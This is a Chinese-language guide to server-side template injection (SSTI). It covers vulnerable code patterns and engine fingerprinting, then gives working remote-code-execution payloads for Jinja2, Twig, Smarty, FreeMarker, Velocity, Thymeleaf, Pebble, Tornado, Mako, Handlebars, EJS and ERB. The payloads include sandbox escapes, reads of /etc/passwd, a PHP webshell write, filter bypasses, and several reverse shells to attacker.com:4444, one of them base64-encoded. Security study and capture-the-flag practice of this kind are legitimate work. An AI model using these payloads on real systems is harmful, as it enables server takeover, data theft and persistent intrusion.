梳理服务端模板注入(Server-Side Template Injection,SSTI)的原理、各引擎利用方法、沙箱逃逸技巧与 WAF 绕过手法。
一、漏洞概述
1.1 定义
服务端模板注入(SSTI)是指 Web 应用程序将用户可控的输入直接拼接到模板字符串中,导致模板引擎将用户输入解析执行,从而使攻击者能够访问模板引擎对象、执行任意代码,甚至接管服务器。
正常模板渲染:
模板:Hello, {{ name }}!
数据:name = "Alice"
输出:Hello, Alice!
SSTI 攻击:
输入:name = "{{7*7}}"
输出:Hello, 49! ← 模板表达式被执行!
1.2 与其他注入的对比
| 漏洞类型 | 注入点 | 执行层 | 危害 |
|---|---|---|---|
| SSTI | 模板字符串 | 模板引擎 | RCE、信息泄露 |
| SQL 注入 | SQL 语句 | 数据库引擎 | 数据泄露、DB 控制 |
| 命令注入 | Shell 命令 | OS Shell | RCE |
| XSS | HTML/JS | 浏览器 | 客户端攻击 |
| 代码注入 | eval 等 | 语言解释器 | RCE |
1.3 危害等级
| 危害 | 说明 | 等级 |
|---|---|---|
| 任意代码执行 | 通过沙箱逃逸执行操作系统命令 | 🔴 严重 |
| 服务器文件读取 | 读取配置文件、源码、密钥 | 🔴 严重 |
| 内网信息收集 | 获取内网 IP、端口、服务信息 | 🟡 高 |
| 反弹 Shell | 获得持久化交互式访问权限 | 🔴 严重 |
| 拒绝服务 | 无限循环、内存耗尽 | 🟡 高 |
| 敏感信息泄露 | 泄露模板变量、配置对象内容 | 🟡 高 |
二、漏洞形成原因与代码分析
2.1 根本原因
用户输入
↓
直接拼接进模板字符串(而非作为数据传入)
↓
模板引擎将用户输入当作模板代码解析
↓
攻击者控制模板逻辑 → 任意对象访问 → RCE
正确做法:将用户输入作为数据变量传入模板,而非拼接为模板字符串本身。
2.2 各语言危险代码示例
Python / Jinja2(Flask)
# ❌ 危险:将用户输入直接拼接为模板字符串
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
# 直接将用户输入拼接进模板 → SSTI
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
# 攻击:?name={{7*7}} → 输出 49
# 攻击:?name={{config}} → 泄露应用配置
# ✅ 安全:将用户输入作为变量数据传入
@app.route('/hello_safe')
def hello_safe():
name = request.args.get('name', 'World')
return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)
Python / Jinja2(更隐蔽的场景)
# ❌ 危险:format 字符串拼接
template = open('email.html').read()
# email.html 内容:Dear {username}, your code is {code}
# 若 username 可控且文件内容为 Jinja2 模板:
rendered = render_template_string(template.format(username=user_input))
# 攻击:username = "{{7*7}}"
# ❌ 危险:日志/错误页面中嵌入用户输入
error_msg = f"User {username} not found"
return render_template_string(f"<p>Error: {error_msg}</p>")
# ❌ 危险:邮件模板拼接
subject = render_template_string(f"Welcome {request.form['name']}!")
PHP / Twig
<?php
require_once 'vendor/autoload.php';
// ❌ 危险:用户输入直接作为模板字符串
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$name = $_GET['name'];
// 将用户输入直接作为模板渲染
echo $twig->createTemplate("Hello $name")->render([]);
// 攻击:?name={{7*7}} → Hello 49
// 攻击:?name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
// ✅ 安全:
echo $twig->createTemplate("Hello {{ name }}")->render(['name' => $name]);
PHP / Smarty
<?php
// ❌ 危险:直接 fetch 用户输入
$smarty = new Smarty();
$tpl = $_GET['tpl'];
echo $smarty->fetch('string:' . $tpl);
// 攻击:?tpl={system('id')}
Java / FreeMarker
// ❌ 危险:用户控制模板内容
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
String templateStr = request.getParameter("template");
Template t = new Template("name", new StringReader(templateStr), cfg);
t.process(dataModel, out);
// 攻击:?template=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Java / Velocity
// ❌ 危险:用户输入拼接进模板
String userInput = request.getParameter("input");
String template = "Hello " + userInput + "!";
Velocity.evaluate(context, writer, "template", template);
// 攻击:?input=#set($e="e")$e.getClass().forName("java.lang.Runtime")
// .getMethod("exec","".getClass()).invoke($e.getClass()
// .forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")
2.3 常见危险函数/方法汇总
Python 模板引擎危险函数
| 函数/方法 | 引擎 | 危险原因 |
|---|---|---|
render_template_string(user_input) |
Jinja2/Flask | 直接渲染用户输入字符串 |
Environment().from_string(user_input) |
Jinja2 | 编译用户输入为模板 |
Template(user_input).render() |
Jinja2/Mako | 直接编译执行 |
tornado.template.Template(user_input) |
Tornado | 直接编译执行 |
mako.template.Template(user_input) |
Mako | 直接编译执行 |
chevron.render(user_input, data) |
Mustache | 渲染用户输入 |
PHP 模板引擎危险函数
| 函数/方法 | 引擎 | 危险原因 |
|---|---|---|
$twig->createTemplate($user_input) |
Twig | 将用户输入作为模板编译 |
$twig->render($user_input, []) |
Twig | 渲染用户指定的模板名 |
$smarty->fetch('string:' . $user_input) |
Smarty | 直接执行用户字符串 |
$smarty->display($user_input) |
Smarty | 渲染用户指定路径 |
$blade->render($user_input) |
Blade | 编译渲染用户输入 |
$plates->render($user_input) |
Plates | 渲染用户指定模板 |
Java 模板引擎危险方法
| 方法 | 引擎 | 危险原因 |
|---|---|---|
new Template("name", new StringReader(userInput), cfg) |
FreeMarker | 用户输入作为模板 |
Velocity.evaluate(ctx, writer, "t", userInput) |
Velocity | 直接求值用户字符串 |
engine.getTemplate(userInput) |
Velocity | 用户控制模板文件路径 |
SpringTemplateEngine().process(userInput, ctx) |
Thymeleaf | 处理用户输入片段 |
new PebbleTemplate(engine, userInput) |
Pebble | 编译用户输入 |
三、模板引擎识别与探测
3.1 检测是否存在 SSTI
# 基础检测:输入数学表达式,观察是否被计算
{{7*7}} → 输出 49 Jinja2 / Twig
${7*7} → 输出 49 Freemarker / Velocity / Groovy
#{7*7} → 输出 49 Thymeleaf / Spring EL
<%= 7*7 %> → 输出 49 ERB (Ruby) / EJS (Node.js)
{7*7} → 输出 49 Smarty
*{7*7} → 输出 49 Thymeleaf Spring EL
${{7*7}} → 输出 49 Tornado
# 检测字符串操作
{{"abc".upper()}} → ABC Python (Jinja2/Mako)
{{"abc"|upper}} → ABC Jinja2/Twig
3.2 引擎识别决策树
输入 {{7*7}}
├── 输出 49 → Jinja2 / Twig / Pebble / 其他 {{ }} 引擎
│ └── 输入 {{7*'7'}}
│ ├── 输出 7777777 → Jinja2(Python 字符串乘法)
│ └── 输出 49 → Twig(PHP 类型转换)
│
├── 输出 {{7*7}} → 不解析(可能是 Smarty / Mako 使用 {} 语法)
│ └── 输入 {7*7}
│ └── 输出 49 → Smarty
│
└── 无输出/报错 → 分析报错信息判断引擎
输入 ${7*7}
├── 输出 49 → FreeMarker / Velocity / Groovy / Thymeleaf
└── 输出 ${7*7} → 非 EL 表达式语言
输入 <%= 7*7 %>
├── 输出 49 → ERB (Ruby) / EJS (Node.js)
└── 无响应 → 其他引擎
3.3 引擎特征快速区分
# 各引擎独特特征
{{7*'7'}} → Jinja2: 7777777 | Twig: 49
# Jinja2 独有
{{config}} → 输出 Flask 配置对象
# Twig 独有
{{_self}} → 输出 Twig 环境对象
# FreeMarker 独有
${7?string} → 7 (?string 是 FreeMarker 语法)
# Velocity 独有
#set($a = 7)$a → 7
# Smarty 独有
{$smarty.version} → Smarty 版本号
# Thymeleaf 独有
[[${7*7}]] → 49(内联表达式)
*{7*7} → 49(选择变量表达式)
# ERB (Ruby)
<%= 7*7 %> → 49
<%= `id` %> → 直接命令执行!
# EJS (Node.js)
<%= 7*7 %> → 49
<% process.exit() %> → 服务器退出(测试用)
# Tornado
{{7*7}} → 49(与 Jinja2 类似)
# Mako
${7*7} → 49
<% import os; os.system('id') %> → 直接执行
3.4 自动化识别工具
# tplmap(专门的 SSTI 检测利用工具)
git clone https://github.com/epinna/tplmap
cd tplmap
python tplmap.py -u 'http://target.com/hello?name=*'
python tplmap.py -u 'http://target.com/hello?name=*' --os-shell
python tplmap.py -u 'http://target.com/hello?name=*' --os-cmd 'id'
# 手动 Fuzz 字典(同时测试多个引擎)
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
{{7*'7'}}
${{"freemarker.template.utility.Execute"?new()("id")}}
{{''.__class__.__mro__[1].__subclasses__()}}
四、Jinja2(Python)
4.1 基础特性
Jinja2 是 Python 中最广泛使用的模板引擎,Flask 默认使用,也常见于 Django、FastAPI 等框架。
# Jinja2 语法
{{ expression }} 表达式(输出值)
{% statement %} 语句(if/for/set 等)
{# comment #} 注释
4.2 信息收集 Payload
# 读取 Flask 配置(含 SECRET_KEY 等)
{{config}}
{{config.items()}}
{{config['SECRET_KEY']}}
# 读取全局变量
{{self}}
{{self.__dict__}}
# 读取请求对象
{{request}}
{{request.environ}}
{{request.environ['HTTP_HOST']}}
# 读取所有全局变量
{{url_for.__globals__}}
{{get_flashed_messages.__globals__}}
{{lipsum.__globals__}}
# 通过 globals 获取 os 模块
{{url_for.__globals__['os'].popen('id').read()}}
{{get_flashed_messages.__globals__['os'].system('id')}}
{{lipsum.__globals__['os'].popen('cat /flag').read()}}
4.3 沙箱逃逸 —— MRO 链路径
# 核心原理:通过 Python 对象的 __class__、__mro__、__subclasses__
# 遍历所有子类,找到可执行命令的类
# 步骤一:获取所有子类列表(找到利用类的索引)
{{''.__class__.__mro__[1].__subclasses__()}}
{{().__class__.__bases__[0].__subclasses__()}}
{{[].__class__.__bases__[0].__subclasses__()}}
{{{}.__class__.__bases__[0].__subclasses__()}}
# 步骤二:搜索关键类
# 在输出中寻找:
# <class 'subprocess.Popen'>
# <class 'os._wrap_close'>
# <class 'warnings.catch_warnings'>
# <class '_io.StringIO'>
# 步骤三:构造 Payload(以 _wrap_close 为例,通常索引约为 117-135)
# 获取 os 模块(通过 _wrap_close 的 __init__.__globals__)
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('id')}}
# 精确查找 _wrap_close 的索引(自动化脚本输出索引后使用)
{{''.__class__.__mro__[1].__subclasses__()
| selectattr('__name__', 'eq', '_wrap_close')
| list | first
| attr('__init__')
| attr('__globals__')
}}
# 使用 popen 读取命令输出(_wrap_close)
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}
4.4 沙箱逃逸 —— 通用利用链
# ── 方法一:通过 warnings.catch_warnings ──
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c()._module.__builtins__ %}
{% if b[0] == '__import__' %}
{{ b[1]('os').popen('id').read() }}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# ── 方法二:通过 __builtins__ 获取 eval ──
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}
# ── 方法三:通过 lipsum 内置函数(Flask 特有)──
{{lipsum.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}
# ── 方法四:通过 url_for(Flask 特有)──
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['os'].popen('id').read()}}
# ── 方法五:通过 cycler(Flask 内置)──
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__['os'].popen('id').read()}}
# ── 方法六:通过 joiner(Flask 内置)──
{{joiner.__init__.__globals__.os.popen('id').read()}}
# ── 方法七:通过 namespace(Flask 内置)──
{{namespace.__init__.__globals__.os.popen('id').read()}}
# ── 方法八:通过 get_flashed_messages ──
{{get_flashed_messages.__globals__['os'].popen('id').read()}}
4.5 Popen 类直接利用
# 找到 subprocess.Popen 类后直接调用
# 通常需要先找到其索引
# 自动搜索并利用 subprocess.Popen
{% set ns = namespace(found=false) %}
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ and not ns.found %}
{% set ns.found = true %}
{{ c(['id'], stdout=-1).communicate()[0] }}
{% endif %}
{% endfor %}
# 若已知索引(示例:索引为 273)
{{''.__class__.__mro__[1].__subclasses__()[273](['id'],stdout=-1).communicate()}}
{{''.__class__.__mro__[1].__subclasses__()[273](['cat','/flag'],stdout=-1).communicate()[0]}}
4.6 文件读写 Payload
# 读取文件
{{open('/etc/passwd').read()}}
{{open('/flag').read()}}
# 若 open 不可直接访问
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
# 写入 WebShell
{{open('/var/www/html/shell.php','w').write('<?php system($_GET[cmd]);?>')}}
# 列目录
{{[].__class__.__base__.__subclasses__()[117].__init__.__globals__['os'].listdir('/')}}
4.7 常用 RCE Payload 汇总
# ── 最简洁(Flask + lipsum)──
{{lipsum.__globals__.os.popen('id').read()}}
# ── 通用(不依赖 Flask 特有对象)──
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}
# ── 通过 eval(适合过滤了 os 关键字)──
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}
# ── 反弹 Shell ──
{{lipsum.__globals__['os'].popen("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'").read()}}
# ── Base64 编码命令(绕过关键字过滤)──
# "id" 的 base64: aWQ=
{{lipsum.__globals__['os'].popen(__import__('base64').b64decode('aWQ=').decode()).read()}}
五、Twig(PHP)
5.1 基础特性
Twig 是 PHP 中最流行的模板引擎,Symfony 框架默认使用,Drupal、Craft CMS 等也广泛使用。
# Twig 语法
{{ expression }} 输出表达式
{% tag %} 标签(逻辑控制)
{# comment #} 注释
5.2 信息收集 Payload
{# 获取 Twig 环境对象 #}
{{_self}}
{{_self.env}}
{# 获取模板名称 #}
{{_self.getTemplateName()}}
{# 获取全局变量 #}
{{_context}}
{{_context|json_encode}}
{# 获取所有已注册的 filter #}
{{_self.env.getExtension('Twig\\Extension\\CoreExtension')}}
5.3 利用 _self.env RCE
{# ── 方法一:registerUndefinedFilterCallback(Twig < 1.28)── #}
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
{# 一行写法 #}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}
{# ── 方法二:使用 exec 系列函数 #}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("passthru")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{_self.env.getFilter("id")}}
5.4 利用 filter 链 RCE
{# ── 通过 map filter + arrow function(Twig 2.x+)── #}
{# 利用 Twig 箭头函数调用 PHP 函数 #}
{% set cmd = 'id' %}
{% set output = [cmd]|map((c) => system(c)) %}
{{output|join}}
{# ── 通过 sort filter ── #}
{% set arr = {'a': 'id'} %}
{{ arr|sort((a, b) => system(a)) }}
{# ── 通过 reduce filter ── #}
{{'id'|reduce((carry, v) => system(carry))}}
5.5 利用 getFilter / 回调 RCE
{# 注入类方法作为回调 #}
{{['id']|sort('system')}}
{{['id']|map('system')}}
{{['id']|filter('system')}}
{# 通过 Twig_Function 调用 #}
{%- set ns = namespace(rce='') -%}
{%- for i in ['cat /flag'] -%}
{%- set ns.rce = ns.rce ~ i|system -%}
{%- endfor -%}
{{ ns.rce }}
{# 利用 format filter 注入 #}
{{ '%s'|format(system('id')) }}
5.6 Twig SSTI 利用链
{# Twig 3.x 的利用(registerUndefinedFilterCallback 已移除时)#}
{# 通过 block 函数动态调用 #}
{{ block('id', 'Some content') }}
{# 通过 attribute 函数访问对象方法 #}
{{ attribute(_self.env, 'loadTemplate', ['../../etc/passwd']) }}
{# 完整利用链(Twig Sandbox 开启时需绕过)#}
{% if _self.env.isSandboxed() %}
{# Sandbox 模式下需使用已允许的方法 #}
{{ _self.env.getExtensions() }}
{% else %}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{% endif %}
六、Smarty(PHP)
6.1 基础特性
Smarty 是 PHP 中历史悠久的模板引擎,使用 {...} 语法。
{* Smarty 语法 *}
{$variable} 输出变量
{if $cond}...{/if} 条件判断
{foreach}...{/foreach} 循环
{function_name args} 调用函数
6.2 Smarty 直接命令执行
{# Smarty 中 PHP 函数可直接调用 #}
{# ── 方法一:直接调用 system ── #}
{system('id')}
{system('cat /flag')}
{system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')}
{# ── 方法二:passthru ── #}
{passthru('id')}
{# ── 方法三:exec ── #}
{exec('id', $out)}
{$out|print_r}
{# ── 方法四:shell_exec ── #}
{echo shell_exec('id')}
{# ── 方法五:反引号 ── #}
{echo `id`}
{# ── 方法六:PHP 代码块(旧版本)── #}
{php}system('id');{/php}
{# ── 方法七:{math} tag ── #}
{math equation="x" x="system('id')"}
6.3 Smarty 高级利用
{# 通过 Smarty 内部对象访问 #}
{$smarty.version} {* 获取版本 *}
{$smarty.template} {* 当前模板名 *}
{$smarty.cookies} {* Cookie 数据 *}
{$smarty.server} {* $_SERVER 数据 *}
{$smarty.env} {* 环境变量 *}
{$smarty.session} {* Session 数据 *}
{# 通过 assign + PHP 函数链 #}
{assign var='cmd' value='id'}
{system($cmd)}
{# 利用 {capture} 和 PHP 函数 #}
{capture assign='output'}{system('id')}{/capture}
{$output}
{# 利用 fetch 读取文件 #}
{$smarty.fetch('/etc/passwd')}
七、FreeMarker(Java)
7.1 基础特性
FreeMarker 是 Java 中广泛使用的模板引擎,常见于 Spring MVC、Struts 等框架。
# FreeMarker 语法
${expression} 输出表达式
<#if condition> 条件判断
<#list seq as item> 循环
<#assign var = val> 赋值
7.2 利用 freemarker.template.utility.Execute
<#-- ── 方法一:Execute 类(最直接)── -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
${ex("cat /flag")}
<#-- 反弹 Shell -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}")}
7.3 利用 ObjectConstructor
<#-- ── 方法二:ObjectConstructor ── -->
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder",["id"])
.start().getInputStream()))>
<#list 0..99 as _>
<#assign line=br.readLine()!>
<#if line?has_content>${line}<br></#if>
</#list>
7.4 通过 JythonRuntime 执行 Python
<#-- ── 方法三:JythonRuntime(需要 Jython 依赖)── -->
<#assign jython="freemarker.template.utility.JythonRuntime"?new()>
<@jython>
import os
os.system("id")
</@jython>
7.5 通过反射执行命令
<#-- ── 方法四:通过 API 反射 ── -->
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("java.lang.Runtime")>
<#assign method=clazz?api.getMethod("exec","".class)>
<#assign instance=clazz?api.getMethod("getRuntime").invoke(null)>
<#assign process=method.invoke(instance,"id")>
<#assign is=process?api.inputStream>
<#assign isreader=object?api.class.forName("java.io.InputStreamReader")?new(is)>
<#assign reader=object?api.class.forName("java.io.BufferedReader")?new(isreader)>
<#assign line=reader.readLine()>
${line}
八、Velocity(Java)
8.1 基础特性
Apache Velocity 是 Java 模板引擎,常见于 Java Web 应用、CMS 系统(如 Confluence)。
## Velocity 语法
$variable 输出变量
#set($var = "value") 赋值
#if($condition)...#end 条件
#foreach($item in $list) 循环
8.2 通过 ClassTool 执行命令
## ── 方法一:通过 Runtime(最常用)──
#set($runtime = $class.forName("java.lang.Runtime"))
#set($method = $runtime.getMethod("exec", $class.forName("java.lang.String")))
#set($instance = $runtime.getMethod("getRuntime").invoke($null))
#set($process = $method.invoke($instance, "id"))
#set($inputStream = $process.getInputStream())
#set($reader = $class.forName("java.io.BufferedReader")
.getDeclaredConstructor($class.forName("java.io.InputStreamReader"))
.newInstance($class.forName("java.io.InputStreamReader")
.getDeclaredConstructor($class.forName("java.io.InputStream"))
.newInstance($inputStream)))
$reader.readLine()
8.3 利用 ClassTool 简化版
## ── 方法二:ClassTool(若应用注入了此工具)──
#set($str = $class.inspect("java.lang.String"))
#set($chr = $class.inspect("java.lang.Character"))
#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime())
$ex.exec("id")
## ── 方法三:通过 ProcessBuilder ──
#set($pb = $class.forName("java.lang.ProcessBuilder"))
#set($cmd = ["id"])
#set($instance = $pb.getDeclaredConstructor(["".getClass()]).newInstance([$cmd]))
#set($proc = $instance.start())
## 读取输出...
8.4 Confluence SSTI(CVE-2022-26134 原理)
## Confluence 中的 OGNL 注入(通过 Velocity)
## 以下为研究用途,了解漏洞原理
## 利用 OGNL 表达式执行命令
${@java.lang.Runtime@getRuntime().exec("id")}
## 通过 request 对象访问
#set($x = $request.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()))
九、Thymeleaf(Java)
9.1 基础特性
Thymeleaf 是 Spring 生态中广泛使用的模板引擎,支持 Spring EL(SpEL)表达式。
<!-- Thymeleaf 语法 -->
<p th:text="${expression}"> 变量表达式
<p th:text="*{expression}"> 选择表达式
<p th:text="#{message}"> 消息表达式
@{/url} URL 表达式
~{fragment} 片段表达式
9.2 SpEL 注入 Payload
# Thymeleaf 中的 SpEL 注入(Spring EL)
# ── 方法一:通过 T() 运算符调用静态方法 ──
${T(java.lang.Runtime).getRuntime().exec('id')}
*{T(java.lang.Runtime).getRuntime().exec('id')}
# ── 执行并读取输出 ──
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}
# ── 数组形式传参(绕过引号过滤)──
${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','id'})}
# ── 通过 ProcessBuilder ──
${new java.lang.ProcessBuilder(new String[]{'/bin/bash','-c','id'}).start().getInputStream()}
# ── 读取命令输出 ──
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','id'}).getInputStream()).useDelimiter('\\A').next()}
9.3 Thymeleaf 路径中的模板注入
// 危险场景:用户控制返回的视图名称
@GetMapping("/path")
public String render(@RequestParam String fragment) {
return fragment; // 用户控制视图名
}
// 攻击 Payload(通过 :: 片段选择器注入)
// ?fragment=__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
// ?fragment=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\A').next()}__::.x
# URL 参数注入 Payload
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
__${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','id'})}__::.x
# 读取文件
__${new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\\A').next()}__::.x
# 完整利用(带输出读取)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','cat /flag'}).getInputStream()).useDelimiter('\\A').next()}__::.x
十、Pebble(Java)
10.1 基础特性
Pebble 是受 Twig 启发的 Java 模板引擎,语法类似 Twig。
10.2 利用 Payload
# ── 通过 class 访问 Runtime ──
{{ variable.getClass().forName('java.lang.Runtime').getMethod('exec', variable.getClass().forName('java.lang.String')).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id') }}
# ── 通过 _configurationProperties ──
{% set cmd = '_configurationProperties' %}
{% for entry in _configurationProperties %}
{{ entry }}
{% endfor %}
# ── 方法调用链(Pebble < 3.1.5)──
{{ '' .class.forName('java.lang.Runtime')
.getMethod('exec',''.class)
.invoke(''
.class.forName('java.lang.Runtime')
.getMethod('getRuntime')
.invoke(null),
'id'
)
}}
十一、Tornado / Mako(Python)
11.1 Tornado 模板注入
# Tornado 使用 {{ }} 语法,与 Jinja2 类似
# ── 直接代码执行 ──
{{1+1}} # 2
{{handler.settings}} # 获取应用配置(含 cookie_secret 等)
{{handler.application.settings}}
# ── 执行命令 ──
{% import os %}
{{ os.popen('id').read() }}
{% import subprocess %}
{{ subprocess.check_output('id', shell=True).decode() }}
# ── 反弹 Shell ──
{% import os %}
{{ os.system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") }}
# ── 读取文件 ──
{{ open('/etc/passwd').read() }}
{{ open('/flag').read() }}
11.2 Mako 模板注入
# Mako 语法(类 Python 语法)
# ── 表达式 ──
${ 7 * 7 } # 49
${ open('/etc/passwd').read() } # 读取文件
# ── 代码块 ──
<% import os %>
${ os.popen('id').read() }
# ── 内联代码(功能最强)──
<%
import os
x = os.popen('id').read()
%>
${ x }
# ── 模块级别代码 ──
<%!
import os
def execute(cmd):
return os.popen(cmd).read()
%>
${ execute('id') }
# ── 反弹 Shell ──
<% import os %>
${ os.system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") }
十二、Handlebars(JavaScript)
12.1 利用 Payload
// Handlebars 沙箱逃逸(Node.js)
// ── 方法一:通过 lookup 访问原型 ──
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString()"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
// ── 方法二:利用 __proto__ 原型污染 ──
// 通过特殊构造的 Handlebars 表达式访问 constructor
{{constructor.constructor 'return process.mainModule.require("child_process").execSync("id").toString()'}}
// ── 方法三:通过全局对象 ──
{{#if (gt (lookup (lookup . "constructor") "name") "")}}
{{lookup (lookup (lookup . "constructor") "constructor") "name"}}
{{/if}}
十三、EJS(JavaScript)
13.1 利用 Payload
// EJS(Embedded JavaScript)Node.js 模板引擎
// ── 语法 ──
<%= expression %> 输出(HTML 转义)
<%- expression %> 输出(不转义,可 XSS)
<% code %> 执行代码(无输出)
<%# comment %> 注释
// ── 直接 RCE ──
<%= require('child_process').execSync('id').toString() %>
<%- require('child_process').execSync('id').toString() %>
// ── 通过代码块 ──
<% var output = require('child_process').execSync('id').toString() %>
<%= output %>
// ── 读取文件 ──
<%= require('fs').readFileSync('/etc/passwd').toString() %>
<%= require('fs').readFileSync('/flag').toString() %>
// ── 反弹 Shell ──
<% require('child_process').exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"') %>
// ── 利用 options 参数注入(EJS < 3.1.7,CVE-2022-29078)──
// 若 opts 参数可控:
// opts = { delimiter: "%", outputFunctionName: "x;process.mainModule.require('child_process').execSync('id');s" }
// 在 render 时通过 outputFunctionName 注入代码
十四、ERB(Ruby)
14.1 利用 Payload
# ERB(Embedded Ruby)Rails 默认模板引擎
# ── 语法 ──
<%= expression %> 输出 Ruby 表达式
<% code %> 执行 Ruby 代码(无输出)
<%# comment %> 注释
# ── 直接 RCE(最简单的模板引擎)──
<%= `id` %> # 反引号执行命令
<%= system('id') %> # system 函数
<%= IO.popen('id').read %> # 管道读取输出
<%= %x(id) %> # %x{} 语法
# ── 通过 require 加载 ──
<% require 'open3' %>
<%= Open3.capture2('id')[0] %>
# ── 读取文件 ──
<%= File.read('/etc/passwd') %>
<%= File.read('/flag') %>
# ── 反弹 Shell ──
<% require 'socket'; require 'open3'
s = TCPSocket.new('attacker.com', 4444)
while line = s.gets
Open3.popen2e(line.chomp) { |i,o,t| s.write(o.read) }
end
%>
# ── 简化反弹 ──
<%= `bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'` %>
十五、Python 沙箱逃逸通用技巧
15.1 MRO 链自动搜索脚本
# 用于本地测试,找到有用的类及其索引
import jinja2
env = jinja2.Environment()
template = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() }}")
subclasses = eval(str(template.render()))
# 搜索感兴趣的类
for i, cls in enumerate(subclasses):
if 'Popen' in str(cls) or 'exec' in str(cls).lower() or 'wrap' in str(cls).lower():
print(f"[{i}] {cls}")
15.2 常用类路径
# 不同 Python 版本中常见的利用类索引(仅供参考,需动态确认)
# _wrap_close(包含 os 模块的 globals)
# Python 3.x 通常在 117-140 之间
''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__
# subprocess.Popen(直接执行命令)
# 通常在 250-300 之间
''.__class__.__mro__[1].__subclasses__()[N]
# warnings.catch_warnings(可访问 builtins)
# 通常在 140-180 之间
''.__class__.__mro__[1].__subclasses__()[N]
# 手动搜索(Jinja2 Payload)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
INDEX = {{ loop.index0 }}, CLASS = {{ c.__name__ }}
{% endif %}
{% endfor %}
15.3 绕过属性访问限制
# 当 . 和 [] 都被过滤时
# ── 方法一:使用 __getattribute__ ──
{{().__class__.__getattribute__('__bases__')[0]}}
{{''.__class__.__getattribute__('__mro__')[1]}}
# ── 方法二:使用 attr() 过滤器(Jinja2)──
{{()|attr('__class__')|attr('__bases__')|first|attr('__subclasses__')()}}
{{''|attr('__class__')|attr('__mro__')|last|attr('__subclasses__')()}}
# ── 方法三:字符串拼接访问属性 ──
{{'__cl'+'ass__'}} # 某些引擎支持字符串拼接后作为属性名
# ── 方法四:使用 request(Flask)──
{{request|attr('application')|attr('__globals__')}}
{{request['__class__']['__mro__'][1]['__subclasses__']()}}
# ── 方法五:通过 Python 内置函数 ──
{{dict(__class__=a)|list}} # 利用 dict 关键字参数
15.4 绕过关键字过滤
# 当 class / mro / subclasses / globals 等被过滤时
# ── 字符串拼接 ──
{{''['__cl'+'ass__']}}
{{''['__mro__'][1]['__subcla'+'sses__']()}}
